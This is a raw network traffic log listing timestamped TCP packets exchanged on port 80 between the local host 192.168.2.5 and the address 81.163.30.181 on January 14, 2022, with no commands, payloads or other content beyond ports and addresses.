Jan 14, 2022 21:06:07.150024891 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150032997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150055885 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150057077 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150078058 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150079012 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150099993 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150105953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150115013 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150130987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150135994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150156021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150165081 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150182009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150199890 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150203943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150227070 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150228977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150249004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150252104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150270939 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150271893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150284052 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150295019 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150314093 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150316000 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150336027 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150336981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150346994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150358915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150368929 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150381088 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150401115 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150403023 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150410891 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150424957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150438070 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150449038 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150469065 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150470018 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150479078 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150495052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150507927 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150516987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150535107 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150538921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150548935 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150562048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150580883 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150585890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150593996 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150609970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150628090 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150630951 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150651932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150656939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150676966 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150680065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150687933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150703907 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150706053 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150727034 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150744915 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150747061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150769949 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150769949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150790930 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150794983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150814056 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150815964 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150836945 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.150860071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157706022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157733917 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157753944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157754898 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157782078 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157785892 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157804966 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157809973 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157820940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157835960 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157855988 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157866955 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157875061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157898903 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157907009 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157923937 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157942057 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157946110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157953024 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157970905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.157979012 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.157996893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158018112 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158019066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158027887 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158044100 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158046961 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158067942 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158077002 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158092022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158102036 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158116102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158139944 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158159971 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158293962 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158319950 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158329010 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158344030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158354998 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158368111 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158376932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158390999 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158397913 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158416033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158422947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158440113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158448935 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158464909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158474922 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158488035 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158493996 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158512115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158533096 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158535957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158560038 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158560038 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158579111 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158584118 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158598900 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158607006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158616066 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158629894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158636093 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158654928 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158674002 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158677101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158699989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158701897 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158719063 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158740044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158785105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158809900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158818007 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158833027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158843994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158855915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.158864021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.158890963 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.159352064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.159387112 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.159437895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.159460068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.159476042 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.159495115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.159516096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.159570932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.159604073 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.159641981 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.159925938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.159950972 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.159965038 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.159975052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.159996033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.160013914 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.160080910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.160104036 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.160114050 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.160126925 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.160135984 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.160151005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.160156012 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.160192013 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.160330057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.160366058 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.198441982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.198471069 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.198493004 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.198503971 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.198517084 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.198539019 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.198540926 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.198560953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.198580027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.198584080 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.198602915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.198606014 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.198626041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.198642969 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.198647022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.198673964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.198707104 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.201889038 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.201911926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.201922894 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.201936007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.201944113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.201958895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.201978922 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.201982021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.202003956 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.202006102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.202025890 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.202044964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.326981068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.327800035 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.385842085 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.385900974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.385925055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.385947943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.385970116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.385993958 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.386042118 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.443454981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.443504095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.443540096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.443573952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.443573952 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.443610907 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.443620920 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.443648100 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.443681002 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.443716049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.443717003 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.443743944 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.443751097 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.443783998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.443816900 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.448347092 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.450542927 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.500260115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500288963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500313044 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500334024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500356913 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500380039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500401020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.500401974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500422001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.500427961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500451088 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500464916 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.500473022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500494957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500504017 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.500518084 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500540018 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500550032 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.500561953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500582933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500605106 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500618935 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.500626087 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500644922 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.500647068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500670910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500679970 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.500691891 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.500725031 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557301998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557332039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557362080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557384014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557396889 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557410955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557435989 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557437897 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557461023 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557466984 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557481050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557499886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557518959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557521105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557538986 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557558060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557564020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557579994 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557590961 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557600021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557619095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557636976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557646036 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557656050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557672024 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557674885 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557694912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557702065 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557714939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557734013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557749987 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557751894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557771921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557787895 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557790041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557809114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557826996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557842016 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557846069 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557871103 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557885885 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557904959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557923079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557924986 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557950020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557965040 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.557977915 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.557984114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.558001041 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.558003902 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.558023930 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.558042049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.558048964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.558062077 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.558079958 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.558080912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.558099985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.558130026 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.615880966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.615931034 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.615957022 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.615972042 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616013050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616028070 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616055012 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616092920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616132975 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616143942 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616174936 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616218090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616236925 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616267920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616307020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616312981 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616347075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616388083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616389990 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616425991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616466045 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616470098 CET	49908	80	192.168.2.5	81.163.30.181
